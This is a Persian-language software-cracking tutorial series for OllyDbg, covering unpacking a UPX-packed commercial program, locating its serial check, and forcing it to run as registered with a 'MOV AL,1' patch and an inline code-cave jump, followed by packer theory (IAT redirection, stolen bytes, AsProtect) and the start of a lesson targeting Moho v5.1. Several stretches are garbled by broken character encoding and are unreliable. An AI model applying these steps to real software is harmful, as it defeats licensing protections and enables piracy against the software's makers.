  .ولي در اين آموزش نميخواهم اين برنامه را آنپك كنم ولي اگر مايل هستيد براي تمرين بيشتر ميتوانيد اينكار را انجام بدهيد

  
 فايل را بـاز كنـد       ollydbg را بزنيد تا     yes باز كنيد دو پيغام به شما نشان داده ميشود دكمه            ollydbgحال برنامه را بوسيله     

  : قرار داريد005253D0رس شما مانند شكل زير در آد

  
  

 استفاده ميكنند و در مقابل آن يك تابع pushad به خاطر داشته باشيد گفته شد كه اكثر پكرها از تابع 3اگر از آموزش شماره 
popadبراي اينكه متوجه بشويم كه پكر چه وقت برنامه را آنپك كرده به . حتماً بايد وجود داشته باشدOEP  پرش ميكند 

 تغيير پيدا كرده  ESP توجه كنيد ميبينيد كه مقدار ثبات Stackبه پنجره ) را فشار دهيدF8يكبار ( اجرا كردهF8 را با برنامه
 دكمه سمت راست موس را زده و از منوي ظاهر شده گزينه ESPخب بر روي مقدار ) به رنگ قرمز درآمده است(است

Follow in Dumpرا انتخاب كنيد :  



 ٦٨

  
  

 كنيد و دكمه highlight بايت اول را 4 قزار خواهيد گرفت حال 0012FFA4شما بر روي مقدار آدرس  dumpدر پنجره 
   را انتخاب كنيدbreakpoint -> hardware on access -> DWordسمت راست موس را زده و گزينه 

  
  

 متوقف ميشود اين نقطه همان 52553B اجرا كنيد بعد از مدت زمان كوتاهي برنامه در آدرس F9حال برنامه را با زدن كليد 
  :خواهيم رفت مانند شكل زير OEPجايي هست كه ما به 

  

  
  
  

 hardware رفتـه و گزينـه   debug مربوط به پشته را حـذف كنـيم بـراي اينكـار بـه منـوي       breakpointدر اينجا بايد 

breakpointرا انتخاب كنيد   
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  :يك پنجره باز خواهد شد

  
  

  . حذف شودbreakpoint را بزنيد تا deleteدر اين پنجره دكمه 
  

  .قرار داريد)  را يادداشت كنيدOEPآدرس  ( OEP را فشار دهيد شما دقيقاً در F8حال يكبار دكمه 
  . آناليز شودollydbg را فشار دهيد تا كد دوباره از طرف ctrl+aدر اين نقطه دكمه 

  
  

 را search for ->all referenced text منوي ظاهر شده گزينه بعد از آناليز شدن كد دكمه سمت راست موس را زده از
انتخاب كنيد در پنجره ظاهر شده نوار پيمايش را به بالا برده و اولين رديف را انتخاب كنيد و دكمه سـمت راسـت مـوس را زده                    
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 case sensitive گزينـه   را تايپ كنيد و دقت كنيد كـه register را انتخاب كنيد در دايلوگ باز شده كلمه searchگزينه 
  :غيرفعال باشد مانند شكل زير

  
  

  : را فشار دهيد تا برنامه شما را بر روي خطي كه اين نوشته وجود دارد راهنمايي كندokدكمه 

  
  
  

  :بر روي آن خط دابل كليك كرده

  
  

  . قرار خواهيد گرفت4A939Dشما در آدرس 
 ميبينيد كه در اين خط دستور TESTبل از آن دستور يك دستور  و ق(JE)يك خط بالاتر يك دستور پرش قرار دارد 

TEST دو مقدار nibble مربوط به AL را مقايسه ميكند و اگر مقدار AL  شود يعني اينكه برنامه ثبت شده است 1 برابر با 
  . نگه داريم1 خب پس ما بايد جايي را پيدا كنيم كه اين مقدار را هميشه. شود يعني برنامه ثبت نشده است0و اگر 

 را ميبينيم اين به اين معنا ميباشد كه براي چك كردن شماره سريال در اينجا ما با (CALL) يك ارجاعTESTقبل دستور 
  enter و كليد 4A9394بر روي آن ارجاع رفته يعني در آدرس .  را مشخص ميكند ALيك روتين مواجه هستيم كه مقدار 

  .رويمرا بزنيد تا به روتين مورد نظر ب
  : را بزنيدF2 يعني خط اول روتين كليد 4BAFF8حال در آدرس 

  
  

  . اجرا كنيدF9حال برنامه را با زدن كليد 



 ٧١

 دكمه سمت راست موس را زده  ICON قرار ميگيرد بر روي آن taskbar در قسمت ICONبرنامه اجرا ميشود و يك 
ollydbg 4 شما را در آدرسBAFF8دانيم كه مقدار خب چون ما مي.  متوقف ميكندAL  شود و اينكار در 1 بايد برابر با 

  : به آخر روتين خواهيم رفتاكثر مواقع چون در آخر برنامه انجام ميشود به زدن كليد 

  
   توقف خواهيم كرد خب اين دستور به كجا باز خواهد گشت؟RETNميبينيد كه بر روي دستور 

  : توجه كنيدstackبراي پيدا كردن جواب اين سوال به پنجره 

  
  

  
 بعدي برسيد و RETN برنامه را دنبال كنيد تا دستور F8 خط پايين تر خب دوباره با زدن كليد 3 يعني 4BB330به آدرس 

 را F8 توجه كنيد، متوجه خواهيد شد كه آدرس بعدي هم چندين خط پايينتر قرار دارد يكبار ديگر دكمه stackدوباره به پنجره 
  :ل قرار گيريدزده تا در آخرين روا

  
  

توجه كنيد اين آخرين روالي است كه براي چك كردن شماره سريال استفاده ميشود براي اينكه بفهميد كه اين آخرين روال 
  :هست يا نه دو راه داريد

 RETN اين روال را هم اجرا كنيد و بعد از رسيدن به F8يك راه آزمايش و خطاست در واقع ميتوانيد با زدن كليد  •
 .د ديد كه بعد از اين روال برنامه از جايي كه شماره سريال بايد تست ميشد اجرا ميشودخواهي

•   
 ميباشد،چرا كه بعد از خاتمه روالها هميشه پشته مانند قبل خواهد شد در واقع همانند stackراه ديگر توجه به پنچره  •

 POP)سازي ثبات داريم وقتي كه هنوز به روالهاي ديگر وارد نشده بود در اينجا چند دستور آزاد

EDI,ESI,EBX) و بعد از آن مقدار ثبات EBP به داخل مقدار ثبات ESP ريخته ميشود و ثبات ESP 
 .هميشه آدرس بالايي پشته را در خود نگهداري ميكند

  
ه سريال  پر ميشود و اگر دقت كنيد ميبينيد كه چون ما شمارEBX با مقدار ثبات EAXدر اين روال شما ميبينيد كه ثبات 

 ، با توجه به مقدار 1 است و يا 0 تست ميشد كه آيا   ALنداريم و اگر به خاطر داشته باشيد يادتان هست كه مقدار نيم ثبت 
  : صفر است يعني اينكه شماره سريال نادرست استEAX ميبينيد كه مقدار آخر ثبات register در پنجره EAXثبات 



 ٧٢

  
  

   دستور4BB36D نگه داريم براي اينكار در آدرس 1ينست كه هميشه اين مقدار را خب كاري كه ما بايد انجام دهيم ا
Mov al,1 

  :را جايگزين دستور جاري ميكنيم مانند شكل زير

  
  

چون در اين آموزش قصد دارم نوع ديگر كرك كردن را به شما آموزش دهم كار ما در اينجا خاتمه نميابد در اينجا آدرسي كه 
 يك آدرس از حافظه را اشغال opcode آنرا يادداشت كنيد مانند زير توجه كنيد هر opcodeاست و مقدار دستور تغيير كرده 

  :پس با توجه به تغييرات بالا ما بايد دو آدرس را يادداشت كنيم يعني.ميكند
4BB36D B0 
4BB36E 01 

  . ريستارت كنيدctrl+F2حال برنامه را با زدن كليد 
  
  

  :Inline Patchingدرباره 
  

Patch  كردن درون خط )inline ( منظور تغيير كد برنامه بدون عملياتdumping ميباشد در واقع ما برنامه را همانطور 
  . شده نگه ميداريم و فقط تغييرات خود را در آن اعمال ميكنيمpackبصورت 

   OEPه ايم پرش كند و بعد از آن به سمت براي اينكار ما بايد برنامه را جوري تغيير دهيم كه اول به كدهايي كه ما تغيير داد



 ٧٣

  
  

 شده قرار دهيم بايد در درون برنامه جايي كه دستورات خاصي packدر واقع ما براي اينكه كدهاي خود را در درون برنامه 
  . ميگويندcode cave خود را در آنجا قرار دهيم كه به اينكار اصطلاحاً patchوجود ندارد را پيدا كرده و كدهاي 

 ها ممكن است مشكل بنظر برسد كه با تجربه و تلاش بيشتر ميتوان بر اين code caveما پيدا كردن جايي مناسب براي ا
  .مشكل فارغ آمد

  
  

  :inline patchingعمليات 
  : را فشار دهيد ctrl+m را انتخاب كنيدو يا memory گزينه view ازمنوي ollydbgدر 

  
  

  .ده و بتوانيم كدهاي خود را در آنجا قرار دهيمما جايي را ميخواهيم كه خالي بو
و در پايان هر بخش جاهاي خالي بسيار زيادي . در ضمن اينرا هم بدانيد پايان هر بخش مساوي است با شروع بخش ديگر

  .موجود ميباشد كه براي اهداف ما مناسب به نظر ميرسند
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  :به شكل زير توجه كنيد

  
  

 شروع ميشود يعني آدرس (rsrc) بخش منابع UPX پكر header و بعد از 40000درس  فايل اجرايي در آheaderبعد از 
  . ها ميباشدcode caveاين قسمت هميشه يكي از بهترين قستمها براي .  526000

 526000در پنجره ظاهر شده آدرس .  را فشار دهيد و يا ctrl+g را ببنديد و در پنجره اصلي memory mapپنجره 
  :به بخش منابع برويد مانند شكل زيررا بزنيد تا 

  
  

  :خب نوارپيمايش را آنقدر پايين بياوريد تا به سلسله دستورات
ADD BYTE PTR DS:[EAX],AL 

  : �-وع *"?/د *�JK� �LF زی-00528487برسيد در كامپيوتر من اين دستورات از آدرس 

  
  

  .0000:  اين دستوران توجه كنيد opcodeبه 
   كرده بوديم و يادداشت كرده بوديم را بصورت زير وارد نماييمpatchيد مقاديري كه قبلاً خب ما در اينجا با

MOV BYTE PTR DS:[ADDRESS], DATA 



 ٧٥

 byte ptr كه يادداشت كرده بوديم را بايد در آدرس opcode كه همان مقادير DATA :اين دستور به اين معنا ميباشد

ds:[address]جايگزين كنيم .  
  يعني

MOV BYTE PTR DS:[004BB36D],0B0 
MOV BYTE PTR DS:[004BB36E],01 

  . به اين دليل ميباشد كه اسمبلر بفهمد اين يك مقدار ميباشد و نه يك دستورالعملB0صفر اول دستور 
  :مانند دستور زير)  ميباشد4BE9DC در كامپيوتر من OEPآدرس . ( پرش كنيم OEPو در آخر هم دوباره بايد به 

JMP 4BE9DC 
Code caveساخته شده مانند شكل زير خواهد بود :  

  
  

  . كرده و مانند مثالهاي قبل برنامه را ذخيره كنيدhighlightرا ) NOPبه انضمام ( دستور4خب حالا اين 

  
  
  

  . ذخيره كردمUDRuler_p.exeمن فايل را بنام 
 كه در اول برنامه قرار دارد upx مربوط به packحال آخرين كاري كه بايد انجام دهيم اينست كه به آخرين دستور روتين 

 كه ساخته code cave پرش كند به OEPرفته و در آنجا دستورات را طوري تغيير دهيم كه بجاي آنكه بعد از اتمام روال به 
  . ميباشد528487 ما code caveخب اولين آدرس .ايم پرش كند

 باز كنيد و يا همانند اول آموزش يك ollydbg را در UDRuler_p.exeحال براي تغيير دستور مورد نظر فايل 
breakpoint برروي ESP  بگذاريد تا به دستور پرش مورد نظر برويد و يا مستقيماً به آدرس پرش يعني در آدرس

52553Bبرويد دستور اين آدرس را به اين دستور تغيير دهيد :  
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JMP  528487 

  
  

 پرش كند خب OEP رفته و دستورات آنجا را اجرا كند و بعد به code caveرنامه اول به با تغيير اين پرش ، باعث ميشود ب
  .حال برنامه را مانند قبل ذخيره كنيد

  .برنامه بصورت ثبت شده اجرا خواهد شد
  .پايان
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  ششم قسمت ollydbgآموزش كركينگ با 

 May 2006 1385ارديبهشت  : تاريخ 

  هاpacker تئوري
  �Fارد: نرم افزار هدف 

 ندارد :  استفاده مورد افزارهاي نرم

  متوسط : سطح 

  
  

  :هاpackerمختضري درباره 
  

Packer                   برنامه اي هست كه برنامه اصلي را بصورت يك لفافه دربـر ميگيـرد و هـدف اصـلي از انجـام اينكـار خنثـي كـردن 
  .سط يك كركر ميباشددستكاري فايل اصلي و يا ديباگ كردن فايل اصلي تو

 به جاي ديگر منتقـل شـود در واقـع بعـد از برنامـه      OEP استفاده ميكنيد،اينكار باعث ميشود كه       packerهنگامي كه از يك     
packer و Entry Point مربوط به packerجايگزين شود .  

  :ام ميدهد هنگام اجرا شدن عمليات  هاي زير را بابت بدست آوردن فايل اجرايي اصلي انجpackerهر 
 .فايل اصلي را از حالت كد كردن خارج ميكند .1

2. Import Tableرا دوباره بازسازي ميكند . 

 . پرش ميكند OEPبه  .3
  

 كردن فايل اصلي زياد مهم نيست اگر از آموزشهاي قبلي به خاطر داشته باشيد ميتوانيم صبر كنيم           decryptاولين مرحله يعني    
  . كنيمdumpآنوقت برنامه را از روي حافظه  كردن تمام شود و decryptتا عمليات 

 بسيار مهم ميباشند ، هر چه اين دو عمليات با دقت و پيچيدگي بيشتري انجام شود عمليـات بازگردانـدن    3 و   2اما عمليات هاي    
  .ها از اين نظر ضعف دارندpackerاما در دنياي واقعي بسياري از . فايل اصلي مشكل تر و گاه غير ممكن است

  . انجام دهدIAT قوي هميشه بايد انتظار اينرا داشته باشيد كه عمليات بسياري پيچيده اي برروي packerما از يك اما ش
  :اين عمليات ميتواند شامل موارد زير باشد

1. IAT از فايل اصلي حذف شده و packer فقط اسمهاي توابع API    و آدرس آنهـا را بـصورت درهـم (hash) در 
 .خيره كرده استيك جاي امن در حافظه ذ

 استفاده كرده اسـت و ايـن الگـوريتم داراي روشـهايي بـراي               IATاز الگوريتم بسيار پيچيده اي براي بدست آوردن          .2
 .anti-traceوanti-debugمقابله با كركرها ميباشد مانند 

3. packer   از تابع GetProcAddress   استفاده نكرده است و بجاي آن از روش خـود بـراي بدسـت آوردن آدرس  
 . استفاده ميكند APIتوابع 

4. IATبطور كلي به جاي ديگر ارجاع داده شده است .  
  

  . را رعايت نميكنند3 و 1ها تجاري كه امروزه استفاده ميشود هيچكدام از موارد packerاما جالب است بدانيد كه بسيار از 
   چه ؟ 4در مورد مورد شماره 

  يعني چه؟ به جاي ديگر IATبيايد ببينيم منظور از ارجاع 
 اسـتفاده كـرده باشـد حتمـاً از تـابع       API ميكنيـد و اگـر آن برنامـه از توابـع     disassembleهنگامي كـه يـك برنامـه را    

kernel32.exitproccess     ايـن ارجـاع   ) اين تابع براي تمام كردن  و خروج از يك پردازش بكار ميرود    ( استفاده كرده است
  :در برنامه بصورت زير ميباشد
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call [XXXXXXXXh]      ; call to kernel32.ExitProces s 
XXXXXXXXh inside the IAT 
  ...                   ; 
XXXXXXXXh: YYYYYYYYh  ; address of Kernel32.ExitPro cess  

  
  

  :و يا راه ديگر بدين صورت ميباشد
call XXXXXXXXh 

  .(XXXXXXXX)اما پارامتر همان ميباشد
  API را با آدرس توابـع  IAT قرار دارد چك كرده و Imports Tableيندوز اين ارجاعات را كه در  و(Loader)باركننده 

  .آدرس دهي ميكند
Packer ها اصلاعاتImport Table    برنامه پك شده را از بين ميبرند و هنگامي كه برنامه اجرا ميـشود باركننـده وينـدوز  

  . قرار ميگيردpacker برعهده IATيشود كه آدرس دهي درست نتيجه اين م.  قرار ميدهدIATآدرسهاي غلط را در 
 آن ماننـد  IAT باز كنيـد  disassembler استفاده كرده باشد را در 4 شده را كه از ويژگي شماره     packاگر شما يك برنامه     

  :زير خواهد بود
  XXXXXXXXh: ZZZZZZZZh      ; ZZZZZZZZh is inside a  
buffer dynamically 
                            ; allocated by the pack er, so 
it will 
                            ; not exist if you remo ve the 
packer. 
  ZZZZZZZZh: push ebp       ; (*) 
            ror eax, 16h 
            pushf 
            popf 
            mov ebp, esp    ; (*) 
            call @@1 
            db 68h 
       @@1: 
            add eax, 134h 
            .... 
            jmp ACTUAL_ENTRY_POINT_OF_API + k  

  ) پك شده است Asprotectبرنامه اي كه با (
  
  

Packer دستورالعمل اول API مـشخص شـده    *ضافي با علامـت  در مثال بالا كدهاي ا( را با كدهاي اضافي  درهم ميكند 
و يا چيـزي شـبيه   ( هم باشند و در آخر سر يك پرش    anti-debugالبته گاهي اين كدهاي اضافي ميتوانند حاوي كدهاي         ) اند

 اينجـا منظـور شـماره    k كـه  (api + k) بعدي خواهد داشـت  API تابع (EOP)به نقظه شروع اصلي) به پرش مانند ارجاع
  . ميان كدهاي اضافي پنهان شده استآدرس اصلي ميباشد كه در

  . قرار دارند غيرممكن ميشودZZZZZZZZ  كه در آدرس  APIبوسيله اين ترفند يافتن توابع 
)imports tableساختار ساده اي ندارد و بحث در مورد جزئيات آن خارج از حوزه اين كتاب ميباشد (  
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 ميگويند قادرند برخي از كدهاي اضافي و الگوريتمهاي "Import Rebuilder"برخي از برنامه هايي كه به اصطلاح به آنها 
امـا معمـولاً   .  را شناسايي كرده و آدرسهاي واقعي آنها را براي ما پيـدا كننـد   APIجاسازي آنها را شناسايي كرده و توابع اصلي 

  .ها حركت كنندpackerايش اينگونه برنامه ها عملكرد بسيار محدودي دارند و هميشه نميتوانند پا به پاي آخرين وير
  

  . مي افتد OEPحال بياييد ببينيم چه اتفاقي برسر 
فايل مـورد نظـر راحالـت كـد     ( در زمان با موفقيت كار خود را انجام داد    packerهمنطور كه قبلاً اشاره كردم هنگامي كه يك         

 ـ            )  آنـرا از نـو سـاخت       IATدرآورد و جدول     ايـن كـار ميتوانـد بـا سـاخت يـك       . دبايـد كنتـرل را بـه برنامـه اصـلي واگـذار كن
thread)البته راه حل ها ديگري نيز وجود دارد ولي براي اينكه يك كركر كاركشته شويد هميـشه  .( انجام شود  )پردازش جديد

  . پرش ميكند OEP به packerو بعد از واگذاري كنترل به برنامه اصلي .)بدترين حالت را در نظر بگيريد
  

Stolen Bytes) دزديده شدهبايتها(  
  

  . ميباشدstolen bytesراه ديگر اينكه بتوان برنامه را از دسترس كركر نگهداشت استفاده از ترفند 
يكي از رايـج تـرين توابـع ، تـابع     .( از پيش تعريف شده را از برنامه حذف ميكند API يكسري از توابع packerدر اين روش 

GetModuleHandleA������  .(
� ز����: 

• Calls GetModuleHandleA  and stores the return.  
• Looks inside the protected app for patterns like: 

  call XXXXXXXXh 
       ; call to kernel32.GetModuleHandleA 
  mov [handle], eax   

Packerارجاع مورد نظر را برداشته و دستور :  
Mov [handle],eax 

  :زير جايگزين ميكندرا با دستوري مشابه دستور 
Mov [handle],hardcode_value 

  
GetModuleHandleA بوسيله تابع hardcoded_valueكه در اينجا مقدار   برداشـته  pakcer كه قبلاً توسط  

  .، برگشت داده ميشود شده است 
  .موجود اجرا نخواهد شداگر كركر متوجه اين موضوع نشود برنامه در هنگام كرك شدن بر روي هيجكدام از سيستم عاملهاي 

  . ناميده ميشوندstolen byte از برنامه برداشته ميشود به اصطلاح packerاين بايتهايي كه توسط 
  

  stolen byteدرك مشكلات 
  

 ميباشـد را بعـد از ادغـام بـا      API را كه مربوط به يك تابع k اولين دستورالعمل packerهمانگونه در مطالب بالا گفته شده 
  .مين دستور حركت ميكندK+1افي به سمت كدهاي اض

  : همانند زير ميشودKدومين 

; not changed entry point of 
; kernel32.ExitProcess inside 
; KERNEL32.DLL. 
 
77E55CB5 kernel32.ExitProcess    push ebp 
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77E55CB6                         mov ebp,esp 
77E55CB8                         push -1  

; example of instructions you could 
; find at the buffer: 
           xchg eax, esp 
           sub eax, 4 
           jmp @@1 
           db 68h 
       @@1:xchg eax, esp 
           mov dword ptr [esp], ebp 
           push esp 
           pop ebp 
           push (77E55CB8+RANDOM_VALUE) 
           sub dword ptr [esp], RANDOM_VALUE 
           ret  

 
 ميان اين همه كد اضافي كـار آسـان و راحتـي             API مانند همديگر با كدهاي اضافي ادغام ميشوند و پيدا كردن توابع             kهر دو   

  .imports table ميباشد و از آن سخت تر ساخت مجدد buffer بازيابي APIنيست و بعد از مقوله بهم ريختگي كدهاي 
 X1ا��O5 ای �5�kernel32.ExitProcess    �5 بـرروي تـابع   (Break Point)حال بيايد فرض كنيم شما يك نقطه توقف 

  �!"55�/�  �XAاری�55 ا*�55 ایBp �55KLا#�O"* �655� �5O/اF"�55 ه-��55E ��5 4/ا�O55"�   .  دور زد� *"55?/د4packer"!5  را552
 P-��ی  *"����API 0/ا�U %�را*O-ه�&��R و JK?* ر�"Y� ر��ار.�ع داد� *"?/د  �'F� �� �E� از .  

   +Oا�X1 ن�K*اBp      U0/ا�  ی= *Y5� �!\Y5"�ر *'56  ا�5، در وا� U5�5OL-ل �5-دن          API �-رو& �در�'�& در�
  U50/ا�API        �5 را از*�F-� 5-لOL� �5Fا/O"* �5*ر���و  ��O5ن   �54رج �5-دن و �ن را در د  packer �5[/رت در�5

�-ار ده� �6�.  
شناسـايي و كـاركرد   .ها را ترجيح ميدهند packer) منظور از نظر كاربرد و قيمت آن ميباشد       (معمولاً برنامه هاي تجاري متوسط      

  . ميباشد ها يكي از دغدغه هاي ذهني هر كركرpackerدروني 
  

Asprotectچگونه كار ميكند :  
دو فــــصل قبــــل بــــا نحـــوه آنپــــك آن آشــــنا شــــديد   كـــه در  aspack از ســــازنده asprotectنـــرم افــــزار  

  (com.aspack.www)ميباشد
 فقط يك نرم افزار صد كرك تجاري صرف محسوب نميشود بلكه تكنولوژي بكار رفتـه در ايـن نـرم افـزار يـك                   packerاين  

 آماده بوده كه كساني كه نميخواهند وقت خـود را در            packerدر واقع اين محصول يك      . انقلاب در اين صنعت به شمار ميرود      
  . صرف كنند مفيد استanti-crackمورد برنامه نويسي 

  
�!  4/د  Alexey Solodovnikov آقاي asprotectسازنده � aspack در�'�& �Y"�ر زی�د& را از F-م اP@ار 

     �60*  .�-ا& ��4 ای+ �-�F*� ی�د�OP-1 ا�S1 ان/O"* 5-دن 5�/0` ای5+      �� .-ات�5-$ �رو�5'�& packer 
- ا��SO55د� 55KF-دن از رو��55��L�packer&�'55ی  ���55  و 55�/0` ای55F +55-م ا55P@ار %"�55د� *"55?/د ، a>557 �55'L0 ای55+   

debug    anti����"* .  
  

 �� �Yدر *>�یFLEXlm              &/5� ایY5� �5*�F-� +5"�ر زی��5 و 54/ش �4�5 �O5�/F ���5 ا�5 و از ا#5A/ریY5� BO"�ر 
    P 5-دن�د� -?P ���       �5LK"* د��SO55/ط ��5       (�ی!'�5 ا��-* BO5/ریA#اAspack (        &-"A6?5e �5. �5 را در*�F-� B5E2 و
 `<P داد� و fه��g٠ ��   . �PیJ اheader�LK"* �P�7 �"!/��ی

      Y"F  �-Oد� J���  !Mا �*�F-� ، د/?F د� �4رج-?P روا#  �� �5-ا& از 5#�2   . �0 ز*�  F�� ��F-*� از #�2
  . *"?/د �PیJ را در */رد h0""-ات اP�LK"* =e  #�6O2?-د� ��ز& در�وردن ا��SOد�

http://www.aspack.com/
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�-ار *"A"-د ی= روال �-ا& e= �5-دن �5HP�2 و.5/د دارد �h0 &/5!. �5""-ا50           �HP�2 در �*�F-� ��  *�ALه
*5HL/ر h0""-ا50  ��5 در دا*�F-� �5HP�2 �5L*�5 *5/رد 5HF- ا�5 و  �5F�J5            (�� در �HP�2 ا(�6ل *"?/د را �A"5-د       

BOY"�(  
Asprotect از decompress   (55) *"55?/د (6!"�55ت�� J556) +55�55 ، ایLK"* &-"1/55!. �55*�F-� 55-دن� dumping 

  �55LF�*  اره�55ی@P55-م اF �!"55�/�ProcDump   6Y55� �55�  *�55AL55/دو ه� +K6*-55"i �55550- و ی D55� Import از 
 �HP�2Dump  ا.-ای Jی�P د/� (PE)�� اه�/DF   ! در�

 *"?/�F و./د دارد ا*� �F-�  asprotect  `5<P �F*� ه�ی  �� ��  Decompressا*� هL/ز راه'�ی  �-ا&     HP�k* 
 ای�P +5ی!' �5���P asprotect    J5*ی!'decompress  &�5 و dumpingو#5  ��5 ای5+ �52ل 5O2  �<�5 از            . �� ی= %-ش  

�/د� و �<m  از �-�-ه� l".-0 *"�ه�L 4/د ی= ��ر���LL �-ا& ای+ F/ع Fpacker�LYی/L� .  
  

  �LF�*FLEXlm ، Asprotect  1/5"-&           از ا.-ا& 50/ا!. �F/5� ی�5 ا.5-ا��F �5*�F-� 5?�نF 5��<"  ��5 در ز*�5ن ;
  . از روش �Y"�ر .�#�  ا��SOد� *"�LK"*asprotect�LK �-ا& ای�KLر 

  :�-ا& *�nل
5 ���5 �5-ا& ��5ر�- 5F?�ن ده�5                 �; 6 %"�6F fی�F-� ، f*� 4/د را P>5` در 5#�2Y�اF �*�F-� -1/یD�  Y/اه� 

 ��ه�& *-�/ط �� ای�KLر     Y"P�� `<P             �5 را 4-ی�5 و*�F-� -�5ر���5 KLار ده�5 و �<�5 از ای-� 3��L* &را در .�ه� 
 �-د ای+ U��0 �/�"!�  ی=����� ��Kر *  اF� registration key �OP-ا ;"* ��; �� ).decode  �5F/ALدن ای-� 

  ). K6*-"i+ ا�registration keyروا#'� ��ون 
Asprotect/!. &ا& �-ا ��"o"% &ر�"Y� &�'K"LK0 �5   ازLF�* @*-دن ر�1"-& از رو�'�& %"�ا Brute Force 
�LK"* د��SOا�.  

  
 `�/0 �*�F-� از HP�k* &روش �-ا ��asprotectو./د دارد :  

•       �5�����"= P?-د� ��ز& *"� �O* د� از�SO5"�        . ا�M/0 -1�5�5 �ن 5�/0` دیPزی���  F�5�� J"#�5� ای5+ را�
 .6F"?/د

دو*"+ روش �� یK  از رو�'�& .Xاب *"���� و     •Y"F ی+ روش-O'�  # .     =55` ی<P 5"!� ای5+ روش�/�
  55P-1 �5555-ار 4/اه�و P>55` ی55= ) ا#��55O ��55 ا�Y55O2ب وی551q  روش اول(#�55P�S �55-رو& 55F-م ا55P@ار ��655 

registration key      5HP�k* �5"!� 5!  �/�5"!� ه�56نMا �*�F-�  *�60 ارد وXA"* �6� ر�"O4در ا ��; 
/د *��5درت ��5 ای�5Eد ی5= روش د�O5  �57 �5-$              در وا�U �/�"!� ای+ روش �-5F �5*�F/یr 54          . *"?/د

 ه-O?"� �e- �� �57 �-�5  ��5 54/د �O5�/F ا�5 ا��SO5د�          �LK"*asprotect و از    HP�k* &ا-� `<P 
�LK"*.                    �5� در r5/یF �5*�F-� �5� دارد  AOY5�  �5ه�یLP-0 �5 و'K"LK0 �5�  AOY5� -O?5"� ای5+ روش "L*ا

 .�7 �-$ 4/د ��Kر �-د�
 ای5555+ روش ه"�5555F/Ao روال *�F-� �5555�  OHP�5555k*�5555 ��65555 ا�P�55557 در.�5554-ی+ روش و �'5555O-ی+ روش  •

 ).ا#��O در M/رت �60یJ ��6 هL/ز *"O/اF"� روا#'�& �7 �-$ 4/د را %"�د� ��ز& �6F)�"L"?/د
6 *-�5/ط ��5          Y� �asprotect  �65 درregistrationه�AL*  �� ��6 از ای+ روش ا��SOد� *"LK"�  در 

 ا�DOFب *"register key�"LKی= ��;  rs� asprotect  �5� زد�Y"* �6� �*�F-� &ی� �-ا�%  ی= ;��
  -55Aدی 4�55� &�55L"*registration key  �55 ��655 *"55?/د*�F-� a55!OD* �55ط<F &�55�55  .ه"Fا/O"* �655�  55O2

                    �5"Fا/O"* �65�  5O2 �5 و"L� �!"�ه�& */رد HF- 4/د را �-ا& ه- ��ر�- ای�5Eد �5-د� و �F'�5 را *�5ی-ی
 &-OY".!"�ه� ��ی� در ر� ��ی  �.�"L� tD?* را �F/� �-"4وز ذ�Lوی.  

  
              �5� �65� �5� ������م �<�& e= �-دن ��6ر� �-ی�#'�ی  *"asprotect      �5ای �O4�5� �5نOFر�-ا���5ل   . �5-ا& n* &5-ا�

              �5LK"*  F��"O?5% �5 را*�F-� �5ه�5& .�ی �DY5F 5-دن�5= e و 5F-OLا0[�ل ��5 ای "!���و ا51-  .ا�F-� -1*� ��6 از 
tD دی5A-& هB5 داد� ����5 ��65 ��5 راO"*  5O2/اF"�5 ه5- دو �tD5 را از          ��ر�-& ��6ر� �5-ی�ل 54/د را ��5 �5        
55 ��55��Lی  �55-د�  در  F-OLای u55ی-Rasprotect    &ه�55& �<�55& ��655ر� �55-ی�ل �55-ا �DY55F �55 در��55 "L� tD?55* 

  .�F �O4��  R�4 tD?/د
  

  :  �*�� ا�++Visual C در asprotectدر �� �F/6F زی- ی= *�nل از kF/� %"�د� ��ز& 
 /6F �O�5  aspack.com و دیA- ز��F �5*�F-� &�5'F/یY5  را *"O/اF"�5 از ��5ی             �FDelphi,VB ��ه�&   ا#Pدری� 
  .�6Fی"�
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include <windows.h> 
#include "include\asprotect.h" 
char *message; 
void RegisterAction () 
{ 
   REG_CRYPT_BEGIN 
   message = "Registered version !"; 
   REG_CRYPT_END 
} 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE 
hPrevInstance, 
                    PSTR szCmdLine, int iCmdShow) 
{ 
   message = "Unregistered version !"; 
   RegisterAction(); 
   MessageBox (0,message,"",0); 
   return 0; 
}  
 

  
 را در اول و �ـ�   LK"* �REG_CRYPT_BEGIN"�5 ��65 ��ی�5 ��5     هvF�6/ر �� در ��� *?�ه�

REG_CRYPT_END   رت ��� �ـ����� را در $#
 روا"! �  ����اه�� 

 اس'&�د� ��د %
ار ده���  .*�س( ��ر

  
  :و يا به معناي ديگر در اول روال ، كد

0EBh, 04h, 0EBh, 05h, 89h, 89h, 0E9h, 0, 0, 0, 0  
  :و در آخر روال ، كد 

0EBh, 04h, 0EBh, 05h, 99h, 99h  
  .را بايد قرار دهيد

  . ميكندencode روال مورد نظر شما را asprotectبوسيله اين اطلاعات 
منظور چك كردن اعتبـار كـاربر و ثبـت شـده     (و تنها كاري كه شما بايد انجام بدهيد صدا كردن روال مربوطه ميباشد بقيه كارها       

  .شد ميباasprotectبر عهده )بودن برنامه
  

 registrationامكان دارد كه شما بخواهيد .  از سيستم بگيريد()apiGetRegInfoشما ميتوانيد اسم كاربر را بوسيله تابع 

key           هاي بسيار زيادي را در آن واحـد توليـد كنيـد.asprotect            اينكـار را بوسـيله فايـل كتابخانـه اي keygen.dll   انجـام 
ــد ــسياري را  .ميدهـ ــدهاي بـ ــد كليـ ــما ميتوانيـ ــابع  شـ ــيله دو تـ  و ()GenerateKeyAsRegFile بوسـ

GenerateKeyAsString() ��ز�+� .     
ا"�'ـ  *ـ��. دوم ا�ـ�ر� ,ـ
  .���3 را �  در ح�01  %
ار دارد �  /� ���ه�

  
  . به شما امكان تعداد دفعات باز شدن برنامه را ميدهد چه بصورت تاريخ و چه بصورت تعداد اجراي برنامهasprotectهمچنين 

  
 ضدنفوذي ساخته است ولـي اگـر شـما يـك شـماره      packer ادعا كرده است     asprotectآخر بايد بگويم با اينكه سازنده       در  

  . آنرا ترميم كرده و برنامه را كرك كنيدIAT كرده و جدول dumpسريال معتبر داشته باشيد به راحتي ميتوانيد برنامه را 
  پايان
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  هفتم قسمت ollydbgآموزش كركينگ با 
 May 2006 1385ارديبهشت  : اريخ ت

  Memory Breakpoints نوع حمله
  Lost Marble's Moho v5.1: نرم افزار هدف 

  ollydbg 1.10,PEiD 0.93:  استفاده مورد افزارهاي نرم

  متوسط : سطح 

  
  :مقدمه

  .در اين فصل قصد دارم يكي ديگر از تكنينكهاي مهندسي معكوس را به شما نشان دهم
